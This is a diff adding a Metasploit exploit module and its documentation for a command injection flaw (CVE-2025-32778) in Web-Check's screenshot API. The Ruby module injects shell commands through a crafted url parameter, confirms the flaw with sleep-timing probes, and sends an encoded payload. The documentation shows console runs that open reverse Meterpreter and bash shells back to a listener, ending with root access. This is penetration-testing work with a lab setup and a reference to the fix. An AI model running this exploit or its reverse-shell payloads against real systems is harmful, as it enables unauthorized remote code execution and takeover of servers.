diff --git a/documentation/modules/exploit/multi/http/web_check_screenshot_rce.md b/documentation/modules/exploit/multi/http/web_check_screenshot_rce.md new file mode 100644 index 0000000000000..9d1d72ada6731 --- /dev/null +++ b/documentation/modules/exploit/multi/http/web_check_screenshot_rce.md @@ -0,0 +1,110 @@ +## Vulnerable Application + +This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint. +The vulnerability exists in versions before commit 0e4958aa10b2650d32439a799f6fc83a7cd46cef. + +1. Clone the repository and checkout the vulnerable version: +``` +git clone https://github.com/Lissy93/web-check.git +cd web-check +git checkout 0e4958aa10b2650d32439a799f6fc83a7cd46cef~1 +``` + +2. Create a `docker-compose.yml` file: +``` +cat > docker-compose.yml << 'EOF' +services: + web-check: + container_name: web-check-vuln + build: + context: . + dockerfile: Dockerfile + ports: + - 3000:3000 + environment: + - CHROME_PATH=/usr/bin/chromium + - PORT=3000 + restart: unless-stopped +EOF +``` + +3. Build and run with Docker: +``` +docker compose up -d +``` + +4. Verify the application is running at http://localhost:3000 + +## Verification Steps + +1. Start msfconsole +2. Do: `use exploit/multi/http/web_check_screenshot_rce` +3. Do: `set RHOSTS localhost` +4. Do: `set RPORT 3000` +5. Do: `set LHOST ` +6. Do: `run` +7. You should get a meterpreter session. + +## Options + +This module uses standard HTTP options. + +## Scenarios + +### Meterpreter Reverse TCP + +``` +msf > use exploit/multi/http/web_check_screenshot_rce +[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp +msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2 +RHOSTS => 172.23.0.2 +msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000 +RPORT => 3000 +msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp +PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/web_check_screenshot_rce) > run +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing +[*] Sending stage (3090404 bytes) to 172.23.0.2 +[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.23.0.2:52296) at 2025-12-18 18:44:37 +0100 + +meterpreter > sysinfo +Computer : 172.23.0.2 +OS : Debian 11.9 (Linux 6.14.0-116036-tuxedo) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Reverse Shell Bash + +``` +msf > use exploit/multi/http/web_check_screenshot_rce +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/web_check_screenshot_rce) > set RHOSTS 172.23.0.2 +RHOSTS => 172.23.0.2 +msf exploit(multi/http/web_check_screenshot_rce) > set RPORT 3000 +RPORT => 3000 +msf exploit(multi/http/web_check_screenshot_rce) > set PAYLOAD cmd/unix/reverse_bash +PAYLOAD => cmd/unix/reverse_bash +msf exploit(multi/http/web_check_screenshot_rce) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf exploit(multi/http/web_check_screenshot_rce) > set LPORT 4444 +LPORT => 4444 +msf exploit(multi/http/web_check_screenshot_rce) > run +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target is vulnerable. Command injection vulnerability confirmed via sleep timing +[*] Command shell session 2 opened (172.17.0.1:4444 -> 172.23.0.2:44860) at 2025-12-18 18:46:23 +0100 + +id +uid=0(root) gid=0(root) groups=0(root) +echo "Hacking is good" +Hacking is good +``` + diff --git a/modules/exploits/multi/http/web_check_screenshot_rce.rb b/modules/exploits/multi/http/web_check_screenshot_rce.rb new file mode 100644 index 0000000000000..81efcd22f8d0a --- /dev/null +++ b/modules/exploits/multi/http/web_check_screenshot_rce.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/stopwatch' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Web-Check Screenshot API Command Injection RCE', + 'Description' => %q{ + This module exploits a command injection vulnerability in Web-Check's `/api/screenshot` endpoint. + The `directChromiumScreenshot()` function uses `child_process.exec()` with unsanitized user input, + allowing command injection via URL query parameters. The vulnerability was patched in commit + 0e4958aa10b2650d32439a799f6fc83a7cd46cef by replacing `exec()` with `execFile()`. + }, + 'Author' => [ + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-32778'], + ['URL', 'https://github.com/Lissy93/web-check'], + ['URL', 'https://github.com/Lissy93/web-check/commit/0e4958aa10b2650d32439a799f6fc83a7cd46cef'] + ], + 'Platform' => %w[unix linux win], + 'Arch' => [ARCH_CMD], + 'Payload' => { + 'Space' => 131068, + 'DisableNops' => true, + 'Encoder' => 'cmd/base64' + }, + 'Targets' => [ + [ + 'Unix/Linux Command', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/unix/reverse_bash + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => '2025-04-12', + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 3000 + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The base path to Web-Check', '/']) + ]) + end + + def build_url(command = nil) + return Faker::Internet.url if command.nil? + + param = Faker::Alphanumeric.alphanumeric(number: rand(4..10)) + "http://#{Faker::Internet.domain_name}?#{param}=\";#{command}\"" + end + + def send_screenshot_request(command = nil) + url = build_url(command) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'api', 'screenshot'), + 'method' => 'GET', + 'vars_get' => { 'url' => url } + }) + end + + def check + res, baseline_elapsed = Rex::Stopwatch.elapsed_time do + send_screenshot_request + end + + return CheckCode::Unknown("#{peer} - No response from web service") unless res + return CheckCode::Safe('Screenshot API endpoint not found') if res.code == 404 + + network_latency = [baseline_elapsed, 0.3].max + vprint_status("Testing command injection (baseline: #{baseline_elapsed.round(2)}s)") + sleep_tests = [2, 3, 4].map do |duration| + _, elapsed = Rex::Stopwatch.elapsed_time do + send_screenshot_request("sleep #{duration}") + end + threshold = duration - network_latency + vprint_status("Sleep #{duration}s: #{elapsed.round(2)}s (threshold: #{threshold.round(2)}s)") + { elapsed: elapsed, threshold: threshold } + end + + passed_tests = sleep_tests.count { |test| test[:elapsed] >= test[:threshold] } + + case passed_tests + when 2..3 + return CheckCode::Vulnerable('Command injection vulnerability confirmed via sleep timing') + when 1 + return CheckCode::Appears('Screenshot API endpoint exists and may be vulnerable') + end + + return CheckCode::Appears('Screenshot API endpoint exists but RCE not confirmed') if res.code == 200 && res.body.to_s.include?('image') + + CheckCode::Unknown('Could not determine vulnerability status') + end + + def exploit + vprint_status('Sending payload via screenshot API') + send_screenshot_request(payload.encoded) + end +end